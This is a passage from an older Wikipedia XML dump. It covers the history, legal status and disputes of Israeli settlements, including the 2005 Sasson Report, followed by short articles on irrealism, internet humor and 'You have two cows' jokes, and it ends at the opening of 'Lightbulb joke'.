* The Golan Heights were under Israeli military administration until 1981, when Israel similarly extended its law there, imposed permanent residency and ID cards on the residents and offered them the possibility of citizenship. This annexation was also not recognized by most countries.
* The Sinai, Gaza and the rest of the [[West Bank]] were put under Israeli military administration.  Residents were not offered citizenship or residency, though they typically had de facto work permits within Israel and freedom of travel.

In the absence of a final peace settlement, the continued Israeli administration of areas captured in 1967 is in itself subject to continuing international concern and criticism.  However, it is the establishment of Israeli homes and communities in those areas that has often generated condemnation. 

Israel evacuated her citizens from the Sinai and demolished their homes when the area was returned to Egypt pursuant to the [[Camp David Accords (1978)|Camp David Accords]].  Since the Golan Heights was originally part of the British Mandate in Palestine, the remaining areas in question largely cover the original British mandate that was left after the establishment of the Hashemite Kingdom of Jordan.

The Jewish population in the areas captured in 1967 live in a wide variety of centers:

* Self-contained towns and small cities with a stable population in the tens of thousands, infrastructure, and all other features of permanence (e.g. [[Ma'ale Adummim]], [[Modi'in Illit]], [[Ariel, West Bank|Ariel]]).
* Jewish neighborhoods that coexist with Arab neighborhoods in the same city (e.g. [[Hebron]] and [[East Jerusalem]]).
* Suburbs to other population centers, especially [[Jerusalem]] (e.g. [[Gilo]]), and the [[Sharon, Israel|Sharon]] area (e.g. [[Karnei Shomron]]).
* Settlement blocs (e.g. [[Gush Etzion]], in the vicinity of [[Ariel (City)|Ariel]], the [[Shechem]]/[[Nablus]] area).
* Frontier villages such as those parallel to the [[Jordan River]].
* Residential outposts, consisting of campers, trailers, and even tents.

Most of these are the result of new construction; but some are based on Jewish communities that were abandoned in 1948 or earlier.  Newly constructed developments are largely on hilltops, at some distance from Arab villages, towns, and camps.

==Population==
Except for areas that were effectively annexed in Jerusalem and the Golan, Israeli citizens and others can only move to areas captured in 1967 with the authorization of the Israeli government.  According to various statistics, the population distribution can be estimated:

{| class=&quot;wikitable&quot; 
! Jewish population
! 1948 
! 1966 
! 1972 
! 1983 
! 1993 
! 2004
! 2005
|-
| West Bank (excluding Jerusalem)
| 480 (see [[Gush Etzion]]) || 0  || 800 || 22,800 || 111,600 || 231,800 ||
|-
| Gaza
| 30 (see [[Kfar Darom]]) || 0 || 700 &lt;sup&gt;*&lt;/sup&gt; || 900 || 4,800 || 8,000 || 0
|-
| Golan Heights
| 0 || 0 || 900 || 6,800 || 12,600 || 16,000 ||
|-
| Parts of Jerusalem annexed in 1967
| 300 (see [[Atarot]], [[Neve Ya'aqov]]) || 0 || 9,200   || 75,000     || 130,000      || 177,000 ||
|}
: &lt;sup&gt;*&lt;/sup&gt; including Sinai

According to Israeli government statistics, just under 400,000 Israelis lived in territories captured during the 1967 war [[As of 2000|as of November 2000]]. This number is controversial, as it includes a large number of Israeli citizens who live in &quot;[[East Jerusalem]]&quot;, which was once, along with most of western Jerusalem, proposed by the [[United Nations]] to be an international zone under UN administration (former compromise proposal, [[UN General Assembly Resolution 181|Resolution 181]] (II) of [[29 November]] [[1947]], which the [[Arab]] states rejected); however, if the boundaries of that peace plan were used, then the number of Israeli settlers would be far greater, including inhabitants of the [[Galilee]], the southwest, and many other areas. Maps of West Bank settlements [http://www.fmep.org/reports/2003/v13n4.html#map], [http://www.biu.ac.il/SOC/besa/publications/maps/settleme.htm].
Since the [[Oslo Accords]] 1993 the settlers' number on the West Bank (excluding East Jerusalem) has doubled, from 115,000 to 230,000.

&lt;!-- Unsourced image removed: [[Image:Map_settlements_bw.JPG|thumb|right|300px|1996 Map of Israeli settlements in the Golan Heights, Gaza Strip and West Bank]] --&gt;

== Communities established on the sites of previous recent Jewish communities ==
Some of the 323 settlements were established on sites that had been inhabited by Jewish communities during the [[British Mandate of Palestine]].  In at least one case, [[Hebron]], the post-1967 settlers were condemned by an association of its pre-1929 Jewish inhabitants.

''partial listing only''
* [[Jerusalem]] &amp;ndash; various surrounding communities and neighborhoods, including
** [[Kfar Shiloah]] - settled by Yemeni Jews in 1882, Jewish residents evacuated in 1938, settled again in 2004[http://news.com.au/common/story_page/0,4057,9150753%255E1702,00.html]
* [[Gush Etzion]] communities - established between 1943-1947, destroyed 1948, reestablished beginning 1967
* [[Hebron]] - Jewish presence since biblical times, evacuated 1929 (because of massacre), resettled in 1967
* [[Kfar Darom]] - established in 1946, evacuated in 1948, resettled in 1970, evacuated in 2005 as part of the withdrawal of the [[Gaza Strip]].

== Legal status of territories ==
Although all areas in question were captured by [[Israel]] in the 1967 [[Six-Day War]], Israel claims that they fall into three different categories:

* &quot;[[East Jerusalem]]&quot; - [[Jerusalem]] and its surroundings were envisioned as an international area under [[United Nations|UN]] administration in the 1947 partition plan. In 1948, [[Jordan]] captured and annexed the eastern half of Jerusalem, while Israel captured and annexed the west. Following the war in 1967 Israel annexed the eastern part, together with several villages around it.
* The [[Golan Heights]], which were captured from Syria in 1967, have been similarly annexed by Israel.
* The [[Gaza Strip]] and [[West Bank]], a section of the areas awarded by the UN to a prospective Arab state of Palestine, remained in [[Arab]] hands while the rest of that area was taken by Israel.  The former was administered by [[Egypt]] while the latter was annexed by [[Jordan]].  Egypt supported Palestinian efforts against Israel, while Jordan regarded itself as the legitimate representative of the Palestinians.

The annexations of East Jerusalem and the Golan Heights have both been deemed illegal by the [[UN Security Council]] (resolutions [[UN Security Council Resolution 267|267]] and [[UN Security Council Resolution 497|497]] respectively), and have not been recognized by other states.

Israel has signed peace treaties with Egypt (returning the [[Sinai Peninsula]] to Egyptian sovereignty), and Jordan (returning small sections to Jordanian sovereignty); there are currently no peace treaties governing Israel's borders related to the West Bank, the Gaza Strip, and the Golan Heights. Israel therefore asserts that the armistice lines (known as the Green Line) of 1949 have no other legal status.

Palestinians object to this view as the Israel-Jordan peace treaty was not to alter the status of any territories coming under Israeli control during the hostilities of 1967 (article 3(2) of the Israel-Jordan peace treaty [http://www.yale.edu/lawweb/avalon/mideast/jordan_treaty.htm]).

== Motivations for settlements ==
Complicating this issue, a number of reasons are cited from both sides for the establishment of settlements.

*Palestinians argue that the policy of settlements constitute an effort to pre-empt or even sabotage a peace treaty that includes Palestinian sovereignty, and claim that the settlements are built on land that belongs to Palestinians.
*The UN, various European governments, a vocal Israeli minority, and many NGOs view settlements similarly, arguing that they violate international law by making life difficult for Palestinians in the areas.
* Prior to the eruption of the Israeli-Palestinian conflict in the late eighties, even until the signing of the [[Israel-Jordan Treaty of Peace|Israeli-Jordanian peace treaty]] in 1994, Israeli governments on the left and right argued that the settlements were of strategic and tactical importance. The location of the settlements was primarily chosen based on the threat of an attack by the bordering hostile countries of [[Jordan]], [[Syria]], and [[Egypt]] and possible routes of advance into Israeli population areas.
*Many Israelis still argue that the settlements are of strategic and tactical importance, disrupting terrorist activities.
*Many Israelis, assert the historical Jewish connection to at least some of the areas in dispute, arguing that their claim is at least equal to that of the Palestinians.
*Most religious Jews, assert the biblical Jewish connection to the areas in dispute, arguing that their claim to build is equal to the biblical Jewish connection to the other areas in Israel.

As it turns out, the settlers themselves have varying reasons for choosing to reside where they do.  While some live in the territories out of religious and/or political idealism and the lower price of rural real estate, others were attracted by tax incentives that were given, in general, to Israelis living in rural, periphery areas, but these were revoked entirely in 2003.

== Land grab accusations ==
Israel claims that the majority of the land currently taken by the new settlements was either vacant, belonging to the state (from which it was leased) or bought fairly from the [[Palestinian]]s, arguing that there is nothing illegal about acquiring land in these ways. Further, Israel argues that these lands were conquered in a defensive war and are held legitimately as [[reparation]].

Opponents dispute at least one of these bases, saying that vacant land had either belonged to Arabs who had fled or was communal land, that had belonged collectively to an entire village. That practice had formed under [[Ottoman Empire|Ottoman]] rule, although the British and the Jordanians have unsuccessfully tried to stop it since the late 1920s.

[[B'Tselem]] (an Israeli NGO) claims that the Israeli government used the absence of modern legal documents for the communal land as an excuse to seize it. Altogether, around 42% of the area of the West Bank (total of about 2,400 km²) is controlled by Israelis (see [http://www.btselem.org/English/Publications/Summaries/Land_Grab_Map.asp Map], [http://www.btselem.org/Download/Land_Grab_Eng.doc MS Word format report]).

== International and legal background ==
The [[Fourth Geneva Convention]] forbids an &quot;Occupying Power&quot; to &quot;transfer parts of its own civilian population into the territory it occupies&quot;  (article 49(6)). This tractate is frequently cited by those who believe it establishes the illegality of the settlements. 

Israel argues that West Bank and Gaza have never been part of a sovereign state since the defeat of the Ottoman Empire (apparently considering the annexation of the West Bank by [[Jordan]] as invalid), and do not therefore meet the definitions of the Geneva conventions article 2.  Israel argues further that even if they did, the settlements are not intended to, nor have ever resulted in, the displacement of Palestinians from the area.  In addition, the Geneva Conventions only apply in the absence of an operative peace agreement and between two powers accepting the Geneva Convention. Since the [[Oslo accords]] leave the issue of settlements to be negotiated later, Israel argues that there is no basis for declaring them illegal.

Israel has little international support for this view, and the application of the Fourth Geneva Convention to the territories has been determined by the [[International Court of Justice]], which in an advisory opinion to the [[UN General Assembly]], argued that according to article 2 of the Geneva Convention the convention applies if &amp;#8220;there exists an armed conflict&amp;#8221; between &amp;#8220;two contracting parties&amp;#8221;, regardless of the territories status in international law prior to the armed attack. It also argued that &quot;no territorial acquisition resulting from the threat or use of force shall be recognized as legal&quot; according to [[customary international law]] (and defined by &quot;Declaration on Principles of International Law concerning Friendly Relations and Co-operation among States in accordance with the Charter of the United Nations&quot; (General Assembly Resolution 2625)).  It should be noted that advisory opinions are not binding verdicts, and the ruling has been disputed by some international law scholars. [http://www.jpost.com/servlet/Satellite?pagename=JPost/JPArticle/ShowFull&amp;cid=1105845487512&amp;p=1078027574097].

The establishment and expansion of Israeli settlements in the West Bank and Gaza Strip has also been described as &quot;illegal&quot; by the [[UN Security Council]] many times, for example in resolutions [[UN Security Council Resolution 446|446]], [[UN Security Council Resolution 452|452]], [[UN Security Council Resolution 465|465]] and [[UN Security Council Resolution 471|471]].  Since resolutions 446 and 465 were not made under Chapter VII of the [[United Nations Charter]], Israel argued that they held no binding force under international law, and chose not to heed them.  Some scholars have lately argued that Security Council resolutions outside of Chapter VII can also be considered legally binding upon member states.[http://student.cs.ucc.ie/cs1064/jabowen/IPSC/articles/article0002338.txt] The Security Council itself takes great care to make the distinction in its resolutions.  

Israel further points out that in the [[Oslo Accords]], the Palestinians accepted the temporary presence of Israeli settlements pending further negotiation; therefore the violent attacks carried out by Palestinians against settlements are not only wrong because of settlers' being civilians (a claim others dispute), but also constitute a breach of the Oslo Accords.  These attacks, however, are frequently carried by organizations such as [[Hamas]] which do not accept the Oslo accords.

The settlements have also been frequently denounced by prominent international human rights groups, such as Amnesty International and Human Rights Watch.

== Tensions, mistrust and accusations ==
The settlements have on several occasions been a source of tension between Israel and the U.S. In 1991 there was a clash between the Bush administration and Israel, where the U.S. delayed a subsidized loan in order to pressure Israel not to proceed with the establishment of settlements for instance in the Jerusalem-Bethlehem corridor. Jimmy Carter has said that the settlements constitute a &quot;major obstacle to peace&quot;. The current [[George W. Bush|Bush]] administration, while generally supportive of Israel, has said that settlements are &quot;unhelpful&quot; to the peace process, that they violate United States policy and prejudges the outcome of future negotiations, although President Bush has put forward the view that major Israeli population centers needs to be taken into account when determining final borders. Generally, U.S. efforts have at most temporarily delayed further expansion of established Israeli communities in the territories. U.S. public opinion is also divided: the strongest support for the Israeli position can be found among evangelical Christians. Public opinion outside the U.S. and Israel strongly opposes Israeli settlement and expansion of communities in the territories.

Although the [[Oslo Accords|Oslo accords]] did not include any obligation on Israel's part to stop building in the &quot;settlements&quot;, Palestinians argue that Israel has undermined the Oslo accords, and the peace process more generally, by continuing to expand the settlements after the signing of the Accords.  Palestinians and others regularly accuse Israel of attacking refugee camps and villages in an attempt to scare off Palestinians and claim the land as theirs. Israel justifies these attacks by saying that it only fights against terrorist organisations, and if there were no terrorists, there would be no military operations.

Israel previously also had settlements in the [[Sinai]], but these were withdrawn as a result of the peace agreement with [[Egypt]]. Most proposals for achieving a final settlement of the Middle East conflict involve Israel dismantling a large number of settlements in the West Bank and Gaza strip. 

Most Israeli and US proposals for final settlement have also involved Israel being allowed to retain long established communities in the territories near Israel and in &quot;[[East Jerusalem]]&quot; (the majority of the settler population is near the &quot;Green Line&quot;), with Israel annexing the land on which the communities are located. This would result in a transfer of roughly 5% of the West Bank to Israel, with the Palestinians being compensated by the transfer of a similar share of Israeli territory (i.e. territory behind the &quot;Green Line&quot;) to the [[Palestinian state]].  Palestinians complain that this would legitimize what they see as an illegitimate land grab, and that the land offered in exchange is situated in the southern desert, whereas the areas that Israel seeks to retain are among the West Bank's most fertile areas, including major aquifers. Israel, however, sees the current &quot;Green Line&quot; as unacceptable from a security standpoint - Israel would have at some points no more than 17 kilometers from the border to the sea - which was an important motivation for the placing of these settlements. For more details about the issues at stake, see [[Proposals for a Palestinian state]].

=== Dismantlement of Settlements ===
Given the dispute over the territories where the settlements were built, the issue of dismantling them has been considered. Arab parties to the conflict have demanded the dismantlement of the settlements as a condition for peace with Israel. As part of the [[Israel-Egypt Peace Treaty]], Israel was required to evacuate its settlers from the [[Sinai Peninsula|Sinai]]. The evacuation, which took place in 1982, was done forcefully in some instances, such as the evacuation of [[Yamit]]. The settlements were demolished, as it was feared that settlers may try to return to their homes after the evacuation.

During the peace process with the [[Palestinians]], the issue of dismantling the [[West Bank]] and [[Gaza Strip]] settlements has been raised. Although never officially discussed in the [[Oslo Accords]], many Israelis believed that a final status accord would require the dismantlement of at least some of these communities.

As part of the [[Israel unilateral disengagement plan|Disengagement Plan]], Israel has evacuated the [[Gaza Strip]] and part of the [[West Bank]], including all 21 settlements in Gaza and 4 in the West Bank, while retaining control over Gaza's borders, coastline and airspace. Most of these settlements have existed since the early 80's, some are over 30 years old, and with a total population of more than 10,000. There was significant opposition to the plan among parts of the Israeli public, and especially those living in the territories. American President [[George W. Bush]] has said that a permanent peace deal would have to reflect &quot;demographic realities&quot; in the West Bank regarding Israel's settlements [http://news.bbc.co.uk/2/hi/middle_east/4382343.stm].

Some Israelis believe the settlements need not necessarily be dismantled and evacuated, even if Israel withdraws from the territory where they stand, as they can remain under Palestinian rule. These ideas have been expressed both by people from  the left ([http://web.archive.org/web/19991006195817/http://www.jpost.co.il/com/Advertising/Ysadeh/]), who see this as a possible situation in a two-state solution, and by extreme right-wingers and settlers [http://english.aljazeera.net/NR/exeres/5EB5E1B3-B64F-43DF-A588-1C40FDDB0A83.htm] that, while object to any withdrawal, claim stronger links to the land than to the state of Israel. Such ideas are not widely accepted in Israel, and most Israelis consider an evacuation of settlements inevitable in territories Israel withdraws from.

== The Sasson Report ==
[[Image:Talia Sesson.jpg|right|frame|Sasson delivering her report.]]
An official Israeli government report published on March 8, 2005 has revealed that Israeli state bodies have been secretly diverting millions of shekels to build West Bank settlements and outposts which were illegal under Israeli law. The report, commissioned by Prime Minister [[Ariel Sharon]], was headed by the former head of the State Prosecution Criminal Department [[Talia Sasson]]. The report details how officials in the ministries of defence and housing and the settlement division of the [[World Zionist Organization]] spent millions of shekels from state budgets to support the illegal outposts. Ms. Sasson called it a &quot;blatant violation of the law&quot; and said &quot;drastic steps&quot; were needed to rectify the situation. It describes secret cooperation between various ministries and official institutions to consolidate &quot;wildcat&quot; outposts, which settlers began erecting more than a decade ago. Sasson added that the problem is ongoing, saying &quot;the process of outpost expansion is profoundly under way.&quot;[http://news.ft.com/cms/s/67ba9b06-8ff9-11d9-9a51-00000e2511c8,stream=FTSynd,s01=2.html].

The report states:

*The housing ministry supplied 400 mobile homes for outposts on private Palestinian land
*The defence ministry approved the positioning of trailers to begin new outposts
*The education ministry paid for nurseries and their teachers
*The energy ministry connected outposts to the electricity grid
*Roads to outposts were paid for with taxpayers' money

The report mentions 150 communities in the West Bank with incomplete or nonexistent permits, but Sasson cautions that this list is not exhaustive, due to the lack of cooperation of some ministries and government offices which she says failed to hand over some important documents. She has recommended that the Housing Ministry be stripped of authority over construction of settlements in the West Bank, and that this power be transferred to the cabinet. The housing minister at the time of the tabling the report, [[Isaac Herzog]] ([[Labour (Israel)|Labour]]), said following the release of the report that every expense earmarked for the settlements would subsequently need the approval of the ministry's director-general. Up until then, the heads of each department at the ministry had been able to sign off on expenses for various construction and infrastructure matters at the settlements.

The report is seen as potentially embarrassing to the Prime Minister because, when he was foreign minister under [[Binyamin Netanyahu]] in 1998, he publicly urged settlers to seize hilltops in order to break up the contiguity of Palestinian areas and prevent the establishment of a Palestinian state (as reported by the BBC), saying: &quot;Let everyone get a move on and take some hilltops! Whatever we take, will be ours, and whatever we don't take, will not be ours!&quot;  The report explicitly ignored Sharon's complicity and his name is absent from the report. Settler leaders have rejected criticism of illegality and wrong-doing, protesting that they were participating in officially-sanctioned community planning initiatives. [http://web.israelinsider.com/Articles/Politics/5126.htm] Settler leader Shaul Goldstein said Mr Sharon should be the one to face questioning over the report's findings, adding &quot;It's obvious that the one who sent us in order to protect the roads and land is the prime minister so he should look in the mirror. Mr Sharon has to be questioned - not us.&quot; It remains to be seen whether the Prime Minister and other [former and current] government officials will face any legal repercussions for their alleged official involvement in the funding of illegal settlements, as [[Peace Now]] [http://www.peacenow.org/shalom/news.asp?rid=0&amp;cid=277] and other groups have called for. According to the ''[[Haaretz]]'' newspaper, Herzog claimed that &quot;the main responsibility for the building of illegal outposts in recent years falls with my predecessor, [[Effi Eitam]] and his director general.&quot; He also added that when he took up the position earlier this year, he ordered that no funds be transferred to the illegal outposts, as well as the establishment of a joint Defense Ministry and Prime Minister's Office team to coordinate the budgets for the settlements. Eitam replied in reaction to the report and the associated comments, saying that all illegal outposts he had approved during his time in office were approved in coordination with Prime Minister Ariel Sharon, had his full backing and were sometimes initiated by him.[http://news.haaretz.co.il/hasen/spages/549577.html] Eitam claimed that Talia Sasson was not an objective surveyor and that the report was politically motivated. [http://www.israelnationalnews.com/news.php3?id=78204] 

Sasson has recommended that Sharon consider criminal investigations against those suspected of involvement.[http://news.bbc.co.uk/2/hi/middle_east/4328817.stm]

Deputy Defence Minister [[Zeev Boim]] (formely [[Likud]]) told Israeli Army Radio that the outposts &quot;must be removed&quot;, but that the government's plan to withdraw from Gaza had priority over any dismantling of illegal outposts in the West Bank. At a cabinet meeting on March 13, the government restated its commitment to visiting [[UN]] head [[Kofi Annan]] to remove illegal outposts, but did not give a timetable. The [[Road map for peace|Road map peace plan]] calls for removal of only those outposts erected since Sharon came to office. The report, however, states many outposts installed before that time are illegal under Israeli law. [http://news.bbc.co.uk/2/hi/middle_east/4345413.stm] Palestinian officials reacted angrily to the report. &quot;It is time for the international community to say 'enough' to Israel and work with the same determination as on other matters,&quot; said Palestinian Prime Minister [[Ahmed Qurei]]. A US embassy spokesman in Tel Aviv also repeated Washington's longstanding call for Israel to remove the outposts.

==External links==
* [http://www.jcpa.org/jl/vp470.htm  an unofficial Israeli position paper]
* [http://www.nad-plo.org/permanent/settlements.html an official Palestinian position paper]
* [http://www.cartercenter.org/viewdoc.asp?docID=137&amp;submenu=news analysis by former U.S. president Jimmy Carter]
* [http://www.us-israel.org/jsource/Peace/settletoc.html A compilation of facts on the settlements, as presented by a joint Israeli-American Organization]
* [http://www.reliefweb.int/rw/RWB.NSF/db900SID/EVIU-69HJYR?OpenDocument discusses the legal status of Israeli settlements under International Humanitarian Law]
*[http://www.btselem.org/English/ The Israeli Information Center for Human Rights in the Occupied Territories]
* [http://www.geocities.com/m_yericho/yishuvim.htm Jewish Communities in Yesha ]
* [http://www.frontpagemag.com/Articles/Printable.asp?ID=7142 Jewish Settlements in &quot;the Territories&quot; Aren't the Problem] by [[Chaim Herzog]].
* [http://www.forward.com/articles/7261 &quot;At Israeli Outpost, Showdown Looms for Settlers, Government&quot; article by Gershom Gorenberg, January 27, 2006, Forward Online]


[[Category:Arab-Israeli conflict]]
[[Category:History of Israel]]
[[Category:Israeli settlements|**]]

[[ar:مستوطنات إسرائيلية]]
[[de:Israelische Siedlung]]
[[fr:Colonie israélienne]]
[[he:התנחלויות]]
[[yi:מתנחלים]]
[[pl:Osiedla żydowskie]]
[[ru:Еврейские поселения на Западном берегу реки Иордан и в секторе Газа]]
[[tl:Paninirahang Israeli]]</text>
    </revision>
  </page>
  <page>
    <title>Irrealism</title>
    <id>15125</id>
    <revision>
      <id>42035637</id>
      <timestamp>2006-03-03T10:15:29Z</timestamp>
      <contributor>
        <ip>67.68.89.128</ip>
      </contributor>
      <text xml:space="preserve">'''Irrealism''' is a philosophical term which seems to have been coined in the [[1980s]] by [[Nelson Goodman]] to refer to the belief that the debate between [[realism]] and [[anti-realism]] was based on poor assumptions.  In practice many irrealists were sympathetic to the critique on realism, but were also critical of the [[idealist]], [[relativist]], or [[reductionist]] tendencies of the anti-realists.

Artist painter and philospher [[Tristan Tondino]] (1961-?) claimed to be an Irrealist and held the view that all realities are creations deriving from the needs and desires of living beings. As such Irrealism is anti-egocentric, basing truth on sustainability of worlds. Following Goodman, Tondino claimed truths about &quot;the way the world is&quot; make up building blocks for world versions. World versions may be thought of as functional and work by holding truths while nonetheless contradicting each other. 

Tondino attempted to make his audience aware of the irreality of individual human perspectives. Some of his more well known works include ``the rule of the 2`` and ``Un tableau que personne ne veut`` or ``Realism is fascism``.  Tondino claimed all art is an expression of Irrealism and that the History of Art is a representation of world versions.  Irrealism therefore subsumes artistic expression and explains versions like Surrealism, Abstract Expressionism, Realism, Dadaism etc. as types of games - all significant ways of worldmaking or world picturing.  

According to Tondino, Irrealism focuses on the deserts surrounding the tiny oases of truth about the world. Ireealist's accept Stace's arguments in his &quot;Refutation of Realism&quot; but claim it is just as coherent to infer there is a “world as it is”. Tondino's Irrealism holds that for the most part it is impossible to know &quot;the given&quot; in “sufficient” detail i.e sufficient enough to justify a theory like realism but capable of justifying one like Irrealism. 

Irrealism further adopts the stance that contradiction is acceptable within the following parameters: We can’t make absolute claims about what really exists and as a result contradictory world pictures can be held coherently. For example, &quot;physicalist monism is preferable in Physics while dualism works best in Psychology. Quarks are useless in poems – at present, love is as real as are molecules. Despite the fact that certain molecules are emotions – love itself is still relevant.&quot;

One of Tondino's more salient Letrist artworks depicting the Statue of Liberty is entitled, &quot;A word that denotes the difference between our pictures of the world and the world&quot;. 

See also [[Contemporary Art]]

Some [[hardcore punk|hardcore]] bands in [[Italy]] have claimed to be irrealist.

{{philo-stub}}


== See also ==

* [[Anti-realism]]
* [[Philosophical realism]]
* [[Realism]]

== External links ==
*[http://www.philosophy.ru/library/goodman/starmaking.htm &quot;On Star-Making&quot;] by Nelson Goodman.

== References ==

* ''Starmaking: Realism, Anti-Realism, and Irrealism'' by Peter J. McCormick (Editor). ISBN 0262133202

[[Category:Realism]]
[[Category:Epistemology]]</text>
    </revision>
  </page>
  <page>
    <title>Internet humor</title>
    <id>15127</id>
    <revision>
      <id>41054849</id>
      <timestamp>2006-02-24T19:38:05Z</timestamp>
      <contributor>
        <username>Tokachu</username>
        <id>317582</id>
      </contributor>
      <minor />
      <comment>Reverted vandalism from [[User:70.64.26.162|70.64.26.162]]</comment>
      <text xml:space="preserve">[[Image:Counter.gif|frame|right|One of the more frequent jokes on the internet is to produce a &quot;fake&quot; or joke [[web counter]]. The counter pictured here dates back to 1992 and is possibly the first of its kind.]]

The [[Internet]] has long been a resource for the circulation of [[humor]]ous ideas and [[joke|jokes]]. Countless web-sites are devoted to the collection of Internet humour, and every day [[e-mail]] crosses the world, containing the text of humorous articles, or jokes about current events.  

&quot;Internet [[humor]]&quot; is distinguishable from &quot;Humor on the Internet&quot; through the concept of ownership. There are definite examples of humor restricted by copyright law on the internet; examples include the cartoons of [[Dilbert]] or the [[newspaper]] columns of [[Dave Barry]]. &quot;Internet humor&quot; is regarded as that which belongs to the [[public domain]].

Internet humor may also be regarded as humor that specifically relies on characteristics belonging to the Internet, such as &quot;[[geek]]&quot; or &quot;[[hacker culture|hacker]]&quot; humor -- i.e, humor that would not exist if not for the Internet.

Generally, this type of semi-institutionalized humor starts as a specific group's [[in-joke]], and grows until it reaches a significant portion of Internet users, gaining popularity, &quot;rules&quot; and [[mythos]].

Longstanding and widely recognized examples of such humor are:
*The [[Internet Oracle]] (formerly The Usenet Oracle) at [http://cgi.cs.indiana.edu/~oracle/index.cgi cgi.cs.indiana.edu/~oracle/index.cgi]
*The [[Jargon file]] (also known as [http://www.catb.org/~esr/jargon/html/index.html  The (New) Hacker's Dictionary])
*The cult of [[Kibology]]
*The [[Darwin Awards]] at [http://www.DarwinAwards.com www.DarwinAwards.com]

The concept of authorship with regard to Internet humor is very difficult to define. Frequently a &quot;list&quot; type joke may get started but within a few generations of distribution it evolves beyond recognition. A classic example is the well-known &quot;[[you have two cows]]&quot; joke - after circulating in more primitive media throughout the [[1980s]], it seems to have first appeared on the Internet in [[1993]] with simple descriptions of [[communism]], [[capitalism]], and [[socialism]]. However, it was later expanded to include all forms of government, regional variations, philosophical systems, and even art movements. Attempting to define an &quot;author&quot; of the joke hence becomes impossible, and it becomes a publicly owned resource, simply because no-one could validly claim legitimate ownership.

Though the Internet has allowed the global explosion of collectively-authored comedy, its precursors existed on [[bulletin board]]s, corporate messaging systems, and even through such low-tech mechanisms as the [[facsimile]] since at least the 1970s.  

==Examples==
*[[Lightbulb joke]]s
*[[You have two cows]]
*[[Happening Happy Hippy Party]]
*[[Honor system virus]]
*[[Bash.org]]
*[[Shit happens]]
*[[You forgot Poland]]
*[[Evil Overlord List]]
*The [[Tourist guy|Accidental Tourist]] pictures
*[[YTMND]]
*[[All your base are belong to us]]
*[[Bert is Evil]]
*[[Internets_(colloquialism)|Internets]]
*[[Encyclopediadramatica]]

==See also==
*[[Urban legend]]
*[[Internet cartoons]]
*[[Internet phenomenon]]

[[Category:Web humor]]</text>
    </revision>
  </page>
  <page>
    <title>You have two cows</title>
    <id>15129</id>
    <revision>
      <id>38924007</id>
      <timestamp>2006-02-09T15:21:04Z</timestamp>
      <contributor>
        <username>Wiki alf</username>
        <id>303874</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.201.5.115|65.201.5.115]] ([[User talk:65.201.5.115|talk]]) to last version by 68.85.232.135</comment>
      <text xml:space="preserve">[[Image:Two cows grazing.jpg|256px|right|thumb|Your two cows.]]
&quot;'''You have two cows'''&quot; is the beginning phrase for a series of [[politics|political]] [[joke]] definitions.  &quot;You have two cows&quot; jokes originated as a [[parody]] of typical  introductory-level [[economics]] course material examples featuring a farmer in a moneyless society, using his cattle and produce to trade with his neighbors. The examples ran along the lines of ''&quot;You have two cows; you want chickens; you set out to find another farmer who has chickens and wants a cow.&quot;'' They were meant to show the limitations of the [[barter]] system, leading to the eventual introduction of currency and [[money]]. The &quot;two cows&quot; parodies however, place the cow-owner in a fully fledged economic system where cows are used as a [[metaphor]] for all [[currency]], [[capital (economics)|capital]], [[means of production]] and economic [[property]]. The intent is often to point out flaws and absurdities in those systems.

==Cows and economic systems==
The first &quot;two cows&quot; jokes were meant to compare opposing [[economic system]]s such as [[capitalism]] and [[communism]], typically by describing how [[government]] and [[bureaucracy]] would interfere with one's quiet enjoyment of one's cows. The jokes evolved into [[satire]] of various political, cultural, social and philosophical systems and theories. Eventually, virtually anything has come to be usable as &quot;cow joke fodder.&quot; Newsworthy events involving actual cows ([[Bovine spongiform encephalopathy|Mad Cow]] outbreaks) have also been used as material.

==The early days of the internet==
The definitions are examples of the first [[internet humor|Internet jokes]] that circulated in the early days of the [[Internet]]. However, the initial variants of these jokes predated the widespread adoption of the Internet and were circulating in typewritten form even by the early [[1960s]]. Being such a readily understood source of humor in many cultures, &quot;two cows&quot; jokes became a part of the international development of the [[World Wide Web]].  The jokes are still circulated today, and are translated and quoted on many websites, in dozens of versions, with newer &quot;definitions&quot; added every year.  [[Tucows]], the popular download site, is rumored to have taken its name from these jokes, rather than from ''The Ultimate Collection Of [[Microsoft Windows|Windows]]'' (or ''[[Winsock]]'') ''Software'' as implied by its logo, and thus alleged to be a [[backronym]] of the joke.

==Cross-cultural humor==
Because of their freedom and universality of topics, &quot;two cows&quot; jokes are sometimes considered a good example of &quot;cross-cultural [[humor]].&quot; They can be concise examples (not necessarily scientific) of how different cultures can express different visions of the same  political concept, by [[paradox]], [[hyperbole]], or [[sarcasm]]. In practice, most such jokes reflect the views of outsiders to the systems being satirised.  In the spirit of finding international common ground, some also see them as humorous manifestations of an underlying general scheme of [[political science]] that would compare legal or political concepts, such as the [[right]]s of [[ownership]], across cultures around the world. 

==Other cows and humor==
Cows themselves are a frequent subject matter of humor, involved in works such as [[Wikipedia:Bad jokes and other deleted nonsense/ASCII cows|cow ASCII art]], [[cow tipping]], and [[The Far Side]]. Some have conjectured that the word ''cow'' may be an [[inherently funny word]], as invoked in the term &quot;[[holy cow]]&quot; and the [[compound (linguistics)|compound]] [[dvigu]]. Incidentally, &quot;chicken&quot; is also regarded as an inherently funny word.

==See also==	 
* [[Cow tipping]]

==External links==
*[http://www.YouHaveTwoCows.com/ TheCapitol.Net You Have Two Cows... at YouHaveTwoCows.com]
*[[Uncyclopedia:You have two cows]]
*[http://www.zodanet.com/lollerpedia/index.php/Jokebook:You_have_two_cows Lollerpedia You have two cows] ''GFDL wiki''

[[Category:Jokes]]
[[Category:Metaphors]]
[[Category:Economics]]
[[Category:Internet culture]]

[[he:יש לך שתי פרות]]
[[fr:Vous avez deux vaches]]</text>
    </revision>
  </page>
  <page>
    <title>Lightbulb joke</title>
    <id>15134</id>
    <revision>
      <id>42160875</id>
      <timestamp>2006-03-04T05:36:46Z</timestamp>
      <contributor>
        <username>Ragesoss</username>
        <id>319203</id>
      </contributor>
      <comment>/* Basic Variations */ add feminist joke</comment>
      <text xml:space="preserve">[[Image:Zarowa_ubt.JPG|thumb|right|250px|A light bulb]]

The '''lightbulb joke''' is an example of an endless-variations [[joke]] and has possibly thousands of versions covering every imaginable culture, belief, occupation and special-interest group.  Generally the punchline is not complimentary to the group providing the subject of the joke.

The generally acknowledged &quot;original&quot; goes as follows:
:''Q: How many'' [insert chosen group here] ''does it take to change a [[lightbulb]]?''
